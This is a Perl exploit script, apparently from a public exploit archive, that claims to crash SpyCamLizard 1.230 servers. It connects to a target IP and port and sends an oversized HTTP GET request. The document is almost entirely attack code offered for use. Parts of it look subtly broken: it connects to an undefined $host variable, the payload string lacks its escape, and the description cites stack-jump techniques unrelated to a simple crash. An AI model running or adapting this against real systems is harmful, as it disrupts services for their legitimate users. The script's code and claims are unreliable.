#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: SpyCamLizard 1.230 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 18 january 2024
# Vendor Homepage: http://www.spycamlizard.com
# Download to demo: https://drive.google.com/file/d/1daFgHh0VzbkDzIp41-imZbPoc6ETZDq2/view?usp=sharing
# Notification vendor: Yes reported
# Tested Version: SpyCamLizard 1.230 - Denial of Service (DoS)
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://youtu.be/Ksg8L-ZX2Us

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The SpyCamLizard does not correctly handle the amount of data or bytes sent.
#When authenticating to the SpyCamLizard with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();
    
    print "[+] Exploiting... \n";

print "[+] Connecting to $ip:$port\n";
my $exploit = "x41" x 3000;

my $httpsocket = IO::Socket::INET->new(
    PeerAddr => $host,
    PeerPort => $port,
    Proto    => "tcp",
);
$httpsocket->send("GET " . $exploit . " HTTP/1.0\r\n\r\n");
$httpsocket->close();

    print "[+] Done - Exploited success!!!!!\n\n";
  
   sub intro {
      print q {

	                            ,--,
	                     _ ___/ /\|
	                 ,;'( )__, )  ~
	                //  //   '--; 
	                '   \     | ^
	                     ^    ^

	    [+] SpyCamLizard 1.230 - Denial of Service (DoS)

	    [*] Coded by Fernando Mengali

	    [@] e-mail: fernando.mengalli@gmail.com

      }
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";
        exit(-1);

      }
  }